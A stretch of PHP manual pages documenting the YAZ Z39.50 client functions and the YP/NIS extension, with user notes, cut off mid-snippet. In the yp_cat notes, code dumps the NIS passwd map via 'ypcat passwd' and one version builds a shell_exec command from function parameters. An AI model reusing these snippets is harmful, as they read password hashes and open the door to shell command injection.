bool yaz_database ( resource $id , string $databases )

This function allows you to change databases within a session by specifying one or more databases to be used in search, retrieval, etc. - overriding databases specified in call to yaz_connect().

Parameters

id

The connection resource returned by yaz_connect().

databases

A string containing one or more databases. Multiple databases are separated by a plus sign +.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
yaz_connect
yaz_element
YAZ Functions


Specifies Element-Set Name for retrieval

yaz_database
yaz_errno
YAZ Functions
PHP Manual

yaz_element

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_element — Specifies Element-Set Name for retrieval

Description

bool yaz_element ( resource $id , string $elementset )

This function sets the element set name for retrieval.

Call this function before yaz_search() or yaz_present() to specify the element set name for records to be retrieved.

Note:

If this function appears to have no effect, see the description of the piggybacking option in yaz_connect().

Parameters

id

The connection resource returned by yaz_connect().

elementset

Most servers support F (for full records) and B (for brief records).

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
yaz_database
yaz_errno
YAZ Functions


Returns error number

yaz_element
yaz_error
YAZ Functions
PHP Manual

yaz_errno

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_errno — Returns error number

Description

int yaz_errno ( resource $id )

Returns an error number for the server (last request) identified by id.

yaz_errno() should be called after network activity for each server - (after yaz_wait() returns) to determine the success or failure of the last operation (e.g. search).

Parameters

id

The connection resource returned by yaz_connect().

Return Values

Returns an error code. The error code is either a Z39.50 diagnostic code (usually a Bib-1 diagnostic) or a client side error code which is generated by PHP/YAZ itself, such as "Connect failed", "Init Rejected", etc.

See Also

  • yaz_error() - Returns error description
  • yaz_addinfo() - Returns additional error information

User Contributed Notes

There are no user contributed notes for this page.
yaz_element
yaz_error
YAZ Functions


Returns error description

yaz_errno
yaz_es_result
YAZ Functions
PHP Manual

yaz_error

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_error — Returns error description

Description

string yaz_error ( resource $id )

yaz_error() returns an English text message corresponding to the last error number as returned by yaz_errno().

Parameters

id

The connection resource returned by yaz_connect().

Return Values

Returns an error text message for server (last request), identified by parameter id. An empty string is returned if the last operation was successful.

See Also

  • yaz_errno() - Returns error number
  • yaz_addinfo() - Returns additional error information

User Contributed Notes

There are no user contributed notes for this page.
yaz_errno
yaz_es_result
YAZ Functions


Inspects Extended Services Result

yaz_error
yaz_es
YAZ Functions
PHP Manual

yaz_es_result

(PHP 4 >= 4.2.0, PECL yaz >= 0.9.0)

yaz_es_result — Inspects Extended Services Result

Description

array yaz_es_result ( resource $id )

This function inspects the last returned Extended Service result from a server. An Extended Service is initiated by either yaz_item_order() or yaz_es().

Parameters

id

The connection resource returned by yaz_connect().

Return Values

Returns array with element targetReference for the reference for the extended service operation (generated and returned from the server).

See Also

  • yaz_es() - Prepares for an Extended Service Request

User Contributed Notes

There are no user contributed notes for this page.
yaz_error
yaz_es
YAZ Functions


Prepares for an Extended Service Request

yaz_es_result
yaz_get_option
YAZ Functions
PHP Manual

yaz_es

(PECL yaz >= 0.9.0)

yaz_es — Prepares for an Extended Service Request

Description

void yaz_es ( resource $id , string $type , array $args )

This function prepares for an Extended Service Request. Extended Services is family of various Z39.50 facilities, such as Record Update, Item Order, Database administration etc.

Note:

Many Z39.50 Servers do not support Extended Services.

The yaz_es() creates an Extended Service Request packages and puts it into a queue of operations. Use yaz_wait() to send the request(s) to the server. After completion of yaz_wait() the result of the Extended Service operation should be expected with a call to yaz_es_result().

Parameters

id

The connection resource returned by yaz_connect().

type

A string which represents the type of the Extended Service: itemorder (Item Order), create (Create Database), drop (Drop Database), commit (Commit Operation), update (Update Record), xmlupdate (XML Update). Each type is specified in the following section.

args

An array with extended service options plus package specific options. The options are identical to those offered in the C API of ZOOM C. Refer to the ZOOM » Extended Services.

Return Values

No value is returned.

Examples

Example #1 Record Update

<?php
$con = yaz_connect("myhost/database");
$args = array (
    "record" => "<gils><title>some title</title></gils>",
    "syntax" => "xml",
    "action" => "specialUpdate"
);
yaz_es($con, "update", $args);
yaz_wait();
$result = yaz_es_result($id);
?>

See Also

  • yaz_es_result() - Inspects Extended Services Result

User Contributed Notes

There are no user contributed notes for this page.
yaz_es_result
yaz_get_option
YAZ Functions


Returns value of option for connection

yaz_es
yaz_hits
YAZ Functions
PHP Manual

yaz_get_option

(PECL yaz >= 0.9.0)

yaz_get_option — Returns value of option for connection

Description

string yaz_get_option ( resource $id , string $name )

Returns the value of the option specified with name.

Parameters

id

The connection resource returned by yaz_connect().

name

The option name.

Return Values

Returns the value of the specified option or an empty string if the option wasn't set.

See Also

  • The description of yaz_set_option() - Sets one or more options for connection for available options

User Contributed Notes

yecarrillo at carrillovega dot com 04-Aug-2005 11:57
With Php php-4.4.0 / Yaz yaz-2.1.8, yaz_get_option() is not defined
yaz_es
yaz_hits
YAZ Functions


Returns number of hits for last search

yaz_get_option
yaz_itemorder
YAZ Functions
PHP Manual

yaz_hits

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_hits — Returns number of hits for last search

Description

int yaz_hits ( resource $id [, array &$searchresult ] )

yaz_hits() returns the number of hits for the last search.

Parameters

id

The connection resource returned by yaz_connect().

searchresult

Result array for detailed search result information.

Return Values

Returns the number of hits for the last search or 0 if no search was performed.

The search result array (if supplied) holds information that is returned by a Z39.50 server in the SearchResult-1 format part of a search response. The SearchResult-1 format can be used to obtain information about hit counts for various parts of the query (subquery). In particular, it is possible to obtain hit counts for the individual search terms in a query. Information for first subquery is in $array[0], second subquery in $array[1], and so forth.

searchresult members
Element | Description
id | Sub query ID2 (string)
count | Result count / hits (integer)
subquery.term | Sub query term (string)
interpretation.term | Interpretated sub query term (string)
recommendation.term | Recommended sub query term (string)

Note:

The SearchResult facility requires PECL YAZ 1.0.5 or later and YAZ 2.1.9 or later.

Note:

Very few Z39.50 implementations support the SearchResult facility.

User Contributed Notes

There are no user contributed notes for this page.
yaz_get_option
yaz_itemorder
YAZ Functions


Prepares for Z39.50 Item Order with an ILL-Request package

yaz_hits
yaz_present
YAZ Functions
PHP Manual

yaz_itemorder

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_itemorder — Prepares for Z39.50 Item Order with an ILL-Request package

Description

void yaz_itemorder ( resource $id , array $args )

This function prepares for an Extended Services request using the Profile for the Use of Z39.50 Item Order Extended Service to Transport ILL (Profile/1). See » this and the » specification.

Parameters

id

The connection resource returned by yaz_connect().

args

Must be an associative array with information about the Item Order request to be sent. The key of the hash is the name of the corresponding ASN.1 tag path. For example, the ISBN below the Item-ID has the key item-id,ISBN.

The ILL-Request parameters are:

protocol-version-num
transaction-id,initial-requester-id,person-or-institution-symbol,person
transaction-id,initial-requester-id,person-or-institution-symbol,institution
transaction-id,initial-requester-id,name-of-person-or-institution,name-of-person
transaction-id,initial-requester-id,name-of-person-or-institution,name-of-institution
transaction-id,transaction-group-qualifier
transaction-id,transaction-qualifier
transaction-id,sub-transaction-qualifier
service-date-time,this,date
service-date-time,this,time
service-date-time,original,date
service-date-time,original,time
requester-id,person-or-institution-symbol,person
requester-id,person-or-institution-symbol,institution
requester-id,name-of-person-or-institution,name-of-person
requester-id,name-of-person-or-institution,name-of-institution
responder-id,person-or-institution-symbol,person
responder-id,person-or-institution-symbol,institution
responder-id,name-of-person-or-institution,name-of-person
responder-id,name-of-person-or-institution,name-of-institution
transaction-type
delivery-address,postal-address,name-of-person-or-institution,name-of-person
delivery-address,postal-address,name-of-person-or-institution,name-of-institution
delivery-address,postal-address,extended-postal-delivery-address
delivery-address,postal-address,street-and-number
delivery-address,postal-address,post-office-box
delivery-address,postal-address,city
delivery-address,postal-address,region
delivery-address,postal-address,country
delivery-address,postal-address,postal-code
delivery-address,electronic-address,telecom-service-identifier
delivery-address,electronic-address,telecom-service-addreess
billing-address,postal-address,name-of-person-or-institution,name-of-person
billing-address,postal-address,name-of-person-or-institution,name-of-institution
billing-address,postal-address,extended-postal-delivery-address
billing-address,postal-address,street-and-number
billing-address,postal-address,post-office-box
billing-address,postal-address,city
billing-address,postal-address,region
billing-address,postal-address,country
billing-address,postal-address,postal-code
billing-address,electronic-address,telecom-service-identifier
billing-address,electronic-address,telecom-service-addreess
ill-service-type
requester-optional-messages,can-send-RECEIVED
requester-optional-messages,can-send-RETURNED
requester-optional-messages,requester-SHIPPED
requester-optional-messages,requester-CHECKED-IN
search-type,level-of-service
search-type,need-before-date
search-type,expiry-date
search-type,expiry-flag
place-on-hold
client-id,client-name
client-id,client-status
client-id,client-identifier
item-id,item-type
item-id,call-number
item-id,author
item-id,title
item-id,sub-title
item-id,sponsoring-body
item-id,place-of-publication
item-id,publisher
item-id,series-title-number
item-id,volume-issue
item-id,edition
item-id,publication-date
item-id,publication-date-of-component
item-id,author-of-article
item-id,title-of-article
item-id,pagination
item-id,ISBN
item-id,ISSN
item-id,additional-no-letters
item-id,verification-reference-source
copyright-complicance
retry-flag
forward-flag
requester-note
forward-note

There are also a few parameters that are part of the Extended Services Request package and the ItemOrder package:

package-name
user-id
contact-name
contact-phone
contact-email
itemorder-item

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
yaz_hits
yaz_present
YAZ Functions


Prepares for retrieval (Z39.50 present)

yaz_itemorder
yaz_range
YAZ Functions
PHP Manual

yaz_present

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_present — Prepares for retrieval (Z39.50 present)

Description

bool yaz_present ( resource $id )

This function prepares for retrieval of records after a successful search.

The yaz_range() function should be called prior to this function to specify the range of records to be retrieved.

Parameters

id

The connection resource returned by yaz_connect().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
yaz_itemorder
yaz_range
YAZ Functions


Specifies a range of records to retrieve

yaz_present
yaz_record
YAZ Functions
PHP Manual

yaz_range

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_range — Specifies a range of records to retrieve

Description

void yaz_range ( resource $id , int $start , int $number )

Specifies a range of records to retrieve.

This function should be called before yaz_search() or yaz_present().

Parameters

id

The connection resource returned by yaz_connect().

start

Specifies the position of the first record to be retrieved. The records numbers goes from 1 to yaz_hits().

number

Specifies the number of records to be retrieved.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
yaz_present
yaz_record
YAZ Functions


Returns a record

yaz_range
yaz_scan_result
YAZ Functions
PHP Manual

yaz_record

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_record — Returns a record

Description

string yaz_record ( resource $id , int $pos , string $type )

The yaz_record() function inspects a record in the current result set at the position specified by parameter pos.

Parameters

id

The connection resource returned by yaz_connect().

pos

The record position. Records positions in a result set are numbered 1, 2, ... $hits where $hits is the count returned by yaz_hits().

type

The type specifies the form of the returned record.

Note:

It is the application which is responsible for actually ensuring that the records are returned from the Z39.50/SRW server in the proper format. The type given only specifies a conversion to take place on the client side (in PHP/YAZ).

Besides conversion of the transfer record to a string/array, PHP/YAZ it is also possible to perform a character set conversion of the record. Especially for USMARC/MARC21 that is recommended since these are typically returned in the character set MARC-8 that is not supported by browsers, etc. To specify a conversion, add ; charset=from, to where from is the original character set of the record and to is the resulting character set (as seen by PHP).

string

The record is returned as a string for simple display. In this mode, all MARC records are converted to a line-by-line format since ISO2709 is hardly readable. XML records and SUTRS are returned in their original format. GRS-1 are returned in a (ugly) line-by-line format.

This format is suitable if records are to be displayed in a quick way - for debugging - or because it is not feasible to perform proper display.

xml

The record is returned as an XML string if possible. In this mode, all MARC records are converted to » MARCXML. XML records and SUTRS are returned in their original format. GRS-1 is not supported.

This format is similar to string except that MARC records are converted to MARCXML

This format is suitable if records are processed by an XML parser or XSLT processor afterwards.

raw

The record is returned as a string in its original form. This type is suitable for MARC, XML and SUTRS. It does not work for GRS-1.

MARC records are returned as a ISO2709 string. XML and SUTRS are returned as strings.

syntax

The syntax of the record is returned as a string, i.e. USmarc, GRS-1, XML, etc.

database

The name of database associated with record at the position is returned as a string.

array

The record is returned as an array that reflects the GRS-1 structure. This type is suitable for MARC and GRS-1. XML, SUTRS are not supported and if the actual record is XML or SUTRS an empty string will be returned.

The array returned consists of a list corresponding to each leaf/internal node of GRS-1. Each list item consists a sub list with first element path and data (if data is available).

The path which is a string holds a list of each tree component (of the structured GRS-1 record) from root to leaf. Each component is a tag type, tag value pair of the form (type, value

String tags normally has a corresponding tag type 3. MARC can also be returned as an array (they are converted to GRS-1 internally).

Return Values

Returns the record at position pos or an empty string if no record exists at the given position.

If no database record exists at the given position an empty string is returned.

Examples

Example #1 Array for GRS-1 record

Consider this GRS-1 record:

(4,52)Robert M. Pirsig
(4,70)
      (4,90)
            (2,7)Transworld Publishers, ltd.
This record has two nodes at root level. First element at root level is (4,52) [tag type 4, tag value 52], and has data Robert M. Pirsig. Second element at root level (4,70) has a subtree with a single element (4,90). (4,90) has yet another sub tree (2,7) with data Transworld Publishers, ltd..

If this record is present at position $p, then

<?php

$ar = yaz_record($id, $p, "array");
print_r($ar);

?>
will output:
Array
(
    [0] => Array
        (
            [0] => (4,52)
            [1] => Robert M. Pirsig
        )
    [1] => Array
        (
            [0] => (4,70)
        )
    [2] => Array
        (
            [0] => (4,70)(4,90)
        )
    [3] => Array
        (
            [0] => (4,70)(4,90)(2,7)
            [1] => Transworld Publishers, ltd.
        )
)

Example #2 Working with MARCXML

The following PHP snippet returns a MARC21/USMARC record as MARCXML. The original record is returned in marc-8 (unknown to most XML parsers), so we convert it to UTF-8 (which all XML parsers must support).

<?php
$rec = yaz_record($id, $p, "xml; charset=marc-8,utf-8");
?>

The record $rec can be processed with the Sablotron XSLT processor as follows:

<?php

$xslfile = 'display.xsl';
$processor = xslt_create();
$parms = array('/_xml' => $rec);
$res = xslt_process($processor, 'arg:/_xml', $xslfile, NULL, $parms);
xslt_free($processor);
$res = preg_replace("'</?html[^>]*>'", '', $res);
echo $res;

?>

For PHP 5 the XSL extension must be used instead of Sablotron XSLT.

User Contributed Notes

There are no user contributed notes for this page.
yaz_range
yaz_scan_result
YAZ Functions


Returns Scan Response result

yaz_record
yaz_scan
YAZ Functions
PHP Manual

yaz_scan_result

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_scan_result — Returns Scan Response result

Description

array yaz_scan_result ( resource $id [, array &$result ] )

yaz_scan_result() returns terms and associated information as received from the server in the last performed yaz_scan().

Parameters

id

The connection resource returned by yaz_connect().

result

If given, this array will be modified to hold additional information taken from the Scan Response:

  • number - Number of entries returned

  • stepsize - Step size

  • position - Position of term

  • status - Scan status

Return Values

Returns an array (0..n-1) where n is the number of terms returned. Each value is a pair where the first item is the term, and the second item is the result-count.

User Contributed Notes

There are no user contributed notes for this page.
yaz_record
yaz_scan
YAZ Functions


Prepares for a scan

yaz_scan_result
yaz_schema
YAZ Functions
PHP Manual

yaz_scan

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_scan — Prepares for a scan

Description

void yaz_scan ( resource $id , string $type , string $startterm [, array $flags ] )

This function prepares for a Z39.50 Scan Request on the specified connection.

To actually transfer the Scan Request to the server and receive the Scan Response, yaz_wait() must be called. Upon completion of yaz_wait() call yaz_error() and yaz_scan_result() to handle the response.

Parameters

id

The connection resource returned by yaz_connect().

type

Currently only type rpn is supported.

startterm

Starting term point for the scan.

The form in which the starting term is specified is given by parameter type.

The syntax this parameter is similar to the RPN query as described in yaz_search(). It consists of zero or more @attr-operator specifications, then followed by exactly one token.

flags

This optional parameter specifies additional information to control the behaviour of the scan request. Three indexes are currently read from the flags array: number (number of terms requested), position (preferred position of term) and stepSize (preferred step size).

Return Values

No value is returned.

Examples

Example #1 PHP function that scans titles

<?php
function scan_titles($id, $startterm)
{
  yaz_scan($id, "rpn", "@attr 1=4 " . $startterm);
  yaz_wait();
  $errno = yaz_errno($id);
  if ($errno == 0) {
    $ar = yaz_scan_result($id, $options);
    echo 'Scan ok; ';
    foreach ($options as $key => $val) {
      echo "$key = $val &nbsp;";
    }
    echo '<br /><table>';
    while (list($key, list($k, $term, $tcount)) = each($ar)) {
      if (empty($k)) continue;
      echo "<tr><td>$term</td><td>$tcount</td></tr>";
    }
    echo '</table>';
  } else {
    echo "Scan failed. Error: " . yaz_error($id) . "<br />";
  }
}
?>

User Contributed Notes

There are no user contributed notes for this page.
yaz_scan_result
yaz_schema
YAZ Functions


Specifies schema for retrieval

yaz_scan
yaz_search
YAZ Functions
PHP Manual

yaz_schema

(PHP 4 >= 4.2.0, PECL yaz >= 0.9.0)

yaz_schema — Specifies schema for retrieval

Description

void yaz_schema ( resource $id , string $schema )

yaz_schema() specifies the schema for retrieval.

This function should be called before yaz_search() or yaz_present().

Parameters

id

The connection resource returned by yaz_connect().

schema

Must be specified as an OID (Object Identifier) in a raw dot-notation (like 1.2.840.10003.13.4) or as one of the known registered schemas: GILS-schema, Holdings, Zthes, ...

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
yaz_scan
yaz_search
YAZ Functions


Prepares for a search

yaz_schema
yaz_set_option
YAZ Functions
PHP Manual

yaz_search

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_search — Prepares for a search

Description

bool yaz_search ( resource $id , string $type , string $query )

yaz_search() prepares for a search on the given connection.

Like yaz_connect() this function is non-blocking and only prepares for a search to be executed later when yaz_wait() is called.

Parameters

id

The connection resource returned by yaz_connect().

type

This parameter represents the query type - only "rpn" is supported now in which case the third argument specifies a Type-1 query in prefix query notation.

query

The RPN query is a textual representation of the Type-1 query as defined by the Z39.50 standard. However, in the text representation as used by YAZ a prefix notation is used, that is the operator precedes the operands. The query string is a sequence of tokens where white space is ignored unless surrounded by double quotes. Tokens beginning with an at-character (@) are considered operators, otherwise they are treated as search terms.

RPN Operators
Construct | Description
@and query1 query2 | intersection of query1 and query2
@or query1 query2 | union of query1 and query2
@not query1 query2 | query1 and not query2
@set name | result set reference
@attrset set query | specifies attribute-set for query. This construction is only allowed once - in the beginning of the whole query
@attr [set] type=value query | applies attribute to query. The type and value are integers specifying the attribute-type and attribute-value respectively. The set, if given, specifies the attribute-set.

You can find information about attributes at the » Z39.50 Maintenance Agency site.

Note:

If you would like to use a more friendly notation, use the CCL parser - functions yaz_ccl_conf() and yaz_ccl_parse().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Query Examples

You can search for simple terms, like this:

computer
which matches documents where "computer" occur. No attributes are specified.

The query

"knuth donald"
matches documents where "knuth donald" occur (provided that the server supports phrase search).

This query applies two attributes for the same phrase.

@attr 1=1003 @attr 4=1 "knuth donald"
First attribute is type 1 (Bib-1 use), attribute value is 1003 (Author). Second attribute has is type 4 (structure), value 1 (phrase), so this should match documents where Donald Knuth is author.

The query

@and @or a b @not @or c d e
would in infix notation look like (a or b) and ((c or d) not e).

Another, more complex, one:

@attrset gils @and @attr 1=4 art @attr 1=2000 company
The query as a whole uses the GILS attributeset. The query matches documents where art occur in the title (GILS,BIB-1) and in which company occur as Distributor (GILS).

User Contributed Notes

k dot andris at gmail dot com 17-Jun-2009 03:49
To display holdings data set the syntax and the record format to "opac" (at least for Horizon ILS). It will give you an xml, containg <holding> elements with all info:

<?php
$z = yaz_connect(...
yaz_syntax($z, 'opac');
yaz_search($z, 'rpn', '@attr 1=4 "title%"');
yaz_wait();
$hits = yaz_hits($z);
yaz_range($z, 1, $hits);
yaz_present($z);
for($i = 1; $i <= $hits; $i++)
       my_display(yaz_record($z, $i, 'opac'));
yaz_close($z);

function my_display($s)
{
  $lines = explode("\n", trim($s));
    var_dump($lines);
}
?>
Colibri 22-Jan-2009 08:42
When querying a SRU/SRW server, the "type" parameter must(?) be specified as "cql", e.g.
yaz_search($handle, "cql", "bath.isbn=1234");
jwohlers at mail dot wcc dot cc dot il dot us 31-Jan-2002 05:21
Quick Reference For Attribute Fields
(eg: "@attr 2=" refers to the Relation attribute)
1 = Use Field
2 = Relation
3 = Position
4 = Structure
5 = Truncate
6 = Completeness
yaz_schema
yaz_set_option
YAZ Functions


Sets one or more options for connection

yaz_search
yaz_sort
YAZ Functions
PHP Manual

yaz_set_option

(PECL yaz >= 0.9.0)

yaz_set_option — Sets one or more options for connection

Description

void yaz_set_option ( resource $id , string $name , string $value )
void yaz_set_option ( resource $id , array $options )

Sets one or more options on the given connection.

Parameters

id

The connection resource returned by yaz_connect().

name or options

May be either a string or an array.

If given as a string, this will be the name of the option to set. You'll need to give it's value.

If given as an array, this will be an associative array (option name => option value).

PHP/YAZ Connection Options
Name | Description
implementationName | implementation name of server
implementationVersion | implementation version of server
implementationId | implementation ID of server
schema | schema for retrieval. By default, no schema is used. Setting this option is equivalent to using function yaz_schema()
preferredRecordSyntax | record syntax for retrieval. By default, no syntax is used. Setting this option is equivalent to using function yaz_syntax()
start | offset for first record to be retrieved via yaz_search() or yaz_present(). First record is numbered has a start value of 0. Second record has start value 1. Setting this option in combination with option count has the same effect as calling yaz_range() except that records are numbered from 1 in yaz_range()
count | maximum number of records to be retrieved via yaz_search() or yaz_present().
elementSetName | element-set-name for retrieval. Setting this option is equivalent to calling yaz_element().
value

The new value of the option. Use this only if the previous argument is a string.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
yaz_search
yaz_sort
YAZ Functions


Sets sorting criteria

yaz_set_option
yaz_syntax
YAZ Functions
PHP Manual

yaz_sort

(PHP 4 >= 4.0.7, PECL yaz >= 0.9.0)

yaz_sort — Sets sorting criteria

Description

void yaz_sort ( resource $id , string $criteria )

This function sets sorting criteria and enables Z39.50 Sort.

Call this function before yaz_search(). Using this function alone does not have any effect. When used in conjunction with yaz_search(), a Z39.50 Sort will be sent after a search response has been received and before any records are retrieved with Z39.50 Present (yaz_present().

Parameters

id

The connection resource returned by yaz_connect().

criteria

A string that takes the form field1 flags1 field2 flags2 where field1 specifies the primary attributes for sort, field2 seconds, etc..

The field specifies either a numerical attribute combinations consisting of type=value pairs separated by comma (e.g. 1=4,2=1) ; or the field may specify a plain string criteria (e.g. title. The flags is a sequence of the following characters which may not be separated by any white space.

Sort Flags
a

Sort ascending

d

Sort descending

i

Case insensitive sorting

s

Case sensitive sorting

Return Values

No value is returned.

Examples

Example #1 Sort Criterias

To sort on Bib1 attribute title, case insensitive, and ascending you would use the following sort criteria:

1=4 ia

If the secondary sorting criteria should be author, case sensitive and ascending you would use:

1=4 ia 1=1003 sa

User Contributed Notes

peter at NOSPAMimtc dot gatech dot edu 26-Aug-2004 08:37
This information is located in several places in the documentation, but takes awhile to find.

yaz_sort() only works for fields that have an associated sort register.  Failure to link a sort register will generate the error "Cannot sort according to sequence".

The sort register is created in the default.idx file and referenced in the *.abs file.  This is the sort register setting in default.idx:

...
# Sort register (no mapping at all)
sort s
completeness 1
charmap string.chr
...

In the above code the "s" register is setup as the sort register.  Charmap string.chr defines the string conversion for diacritics.

This is the reference to the sort index in the *abs file:

...
elm (2,1)                   title                      !:w,!:p,!:s
...

In the above line the "!:s" causes a sort register to be created for the field.

Once the above changes have been made, reindex all the source records and restart the server.   Check for a "sort<fieldid>-0.mf" file in the zebra data directory to verify operation.  yaz_sort() should now work properly.
yaz_set_option
yaz_syntax
YAZ Functions


Specifies the preferred record syntax for retrieval

yaz_sort
yaz_wait
YAZ Functions
PHP Manual

yaz_syntax

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_syntax — Specifies the preferred record syntax for retrieval

Description

void yaz_syntax ( resource $id , string $syntax )

yaz_syntax() specifies the preferred record syntax for retrieval

This function should be called before yaz_search() or yaz_present().

Parameters

id

The connection resource returned by yaz_connect().

syntax

The syntax must be specified as an OID (Object Identifier) in a raw dot-notation (like 1.2.840.10003.5.10) or as one of the known registered record syntaxes (sutrs, usmarc, grs1, xml, etc.).

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
yaz_sort
yaz_wait
YAZ Functions


Wait for Z39.50 requests to complete

yaz_syntax
YP/NIS
YAZ Functions
PHP Manual

yaz_wait

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_wait — Wait for Z39.50 requests to complete

Description

mixed yaz_wait ([ array &$options ] )

This function carries out networked (blocked) activity for outstanding
requests which have been prepared by the functions
yaz_connect(), yaz_search(),
yaz_present(), yaz_scan() and
yaz_itemorder().

yaz_wait() returns when all servers have either completed all requests or aborted (in case of errors).

Parameters

options

An associative array of options:

timeout

Sets timeout in seconds. If a server has not responded within the timeout it is considered dead and yaz_wait() returns. The default value for timeout is 15 seconds.

event

A boolean.

Return Values

Returns TRUE on success or FALSE on failure. In event mode, returns resource or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
yaz_syntax
YP/NIS
YAZ Functions


YP/NIS

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • YP/NIS Functions
    • yp_all — Traverse the map and call a function on each entry
    • yp_cat — Return an array containing the entire map
    • yp_err_string — Returns the error string associated with the given error code
    • yp_errno — Returns the error code of the previous operation
    • yp_first — Returns the first key-value pair from the named map
    • yp_get_default_domain — Fetches the machine's default NIS domain
    • yp_master — Returns the machine name of the master NIS server for a map
    • yp_match — Returns the matched line
    • yp_next — Returns the next key-value pair in the named map
    • yp_order — Returns the order number for a map

User Contributed Notes

There are no user contributed notes for this page.
yaz_wait
Introduction
Other Services


Introduction

NIS (formerly called Yellow Pages) allows network management of important administrative files (e.g. the password file). For more information refer to the NIS manpage and » The Linux NIS(YP)/NYS/NIS+ HOWTO. There is also a book called » Managing NFS and NIS by Hal Stern.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.
YP/NIS
Installing/Configuring
YP/NIS


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
YP/NIS


Requirements

None besides functions from standard Unix libraries which are always available (either libc or libnsl, configure will detect which one to use).

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/yp

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

YPERR_ACCESS (integer)
access violation (this has only been added recently and is only available from PECL SVN for now)
YPERR_BADARGS (integer)
The function arguments are bad
YPERR_BADDB (integer)
YP database is bad
YPERR_BUSY (integer)
Database busy
YPERR_DOMAIN (integer)
cannot bind to server in this domain
YPERR_KEY (integer)
no such key in map
YPERR_MAP (integer)
no such map in server's domain
YPERR_NODOM (integer)
Local domain name not set
YPERR_NOMORE (integer)
No more records in map database
YPERR_PMAP (integer)
Can't communicate with portmapper
YPERR_RESRC (integer)
resource allocation failure
YPERR_RPC (integer)
RPC failure - domain has been unbound
YPERR_YPBIND (integer)
Can't communicate with ypbind
YPERR_YPERR (integer)
internal yp server or client error
YPERR_YPSERV (integer)
Can't communicate with ypserv
YPERR_VERS (integer)
YP version mismatch

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
YP/NIS Functions
YP/NIS


YP/NIS Functions

Table of Contents

  • yp_all — Traverse the map and call a function on each entry
  • yp_cat — Return an array containing the entire map
  • yp_err_string — Returns the error string associated with the given error code
  • yp_errno — Returns the error code of the previous operation
  • yp_first — Returns the first key-value pair from the named map
  • yp_get_default_domain — Fetches the machine's default NIS domain
  • yp_master — Returns the machine name of the master NIS server for a map
  • yp_match — Returns the matched line
  • yp_next — Returns the next key-value pair in the named map
  • yp_order — Returns the order number for a map

User Contributed Notes

mkirk at cs dot umn dot edu 01-May-2007 09:48
more specifically, you can find the pecl extension here:

http://pecl.php.net/package/yp

Only the download though. As of posting no documentation lives there.
Predefined Constants
yp_all
YP/NIS


Traverse the map and call a function on each entry

YP/NIS Functions
yp_cat
YP/NIS Functions
PHP Manual

yp_all

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5)

yp_all — Traverse the map and call a function on each entry

Description

void yp_all ( string $domain , string $map , string $callback )

Warning

This function is currently not documented; only its argument list is available.

Parameters

domain

The NIS domain name.

map

The NIS map.

callback

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
YP/NIS Functions
yp_cat
YP/NIS Functions


Return an array containing the entire map

yp_all
yp_err_string
YP/NIS Functions
PHP Manual

yp_cat

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5)

yp_cat — Return an array containing the entire map

Description

array yp_cat ( string $domain , string $map )

Returns all map entries.

Parameters

domain

The NIS domain name.

map

The NIS map.

Return Values

Returns an array of all map entries, the maps key values as array indices and the maps entries as array data.

User Contributed Notes

Nicholas Humfrey 22-Jan-2007 02:15
yp_cat is lacking in PHP5 - this is a suitable (slow, forking) replacement...

<?php
    $handle = popen( 'ypcat passwd.byname', 'r' );
    while (($line = fgets($handle, 1024)) !== FALSE) {
        list($user,$pass,$uid,$gid,$gcos,$home,$shell) = explode (':', $line);
        list($name,$room,$work,$home,$position)  = explode (',', $gcos);

        ## Do Stuff ##

    }
    pclose( $handle );
?>
20-Feb-2006 03:26
I hope this will userfull to somebody:

function auth_by_nis($login,$password,$nis_domain='-d xxx_nis',$nis_host='-h xxx.it')
{
    $output = shell_exec("ypcat $nis_domain $nis_host passwd");
    $lines=split("\n",$output);
    foreach ($lines as $k=>$v)
    {
        list($login_nis,$pw_nis)=split(":",$v);
        if ($login_nis != $login)continue;
        //login trovata: ora si verifica la password
        $salt=substr( $pw_nis , 0 ,2);
        $pass_cript=crypt($password, $salt);
        if($pass_cript == $pw_nis) return 1;
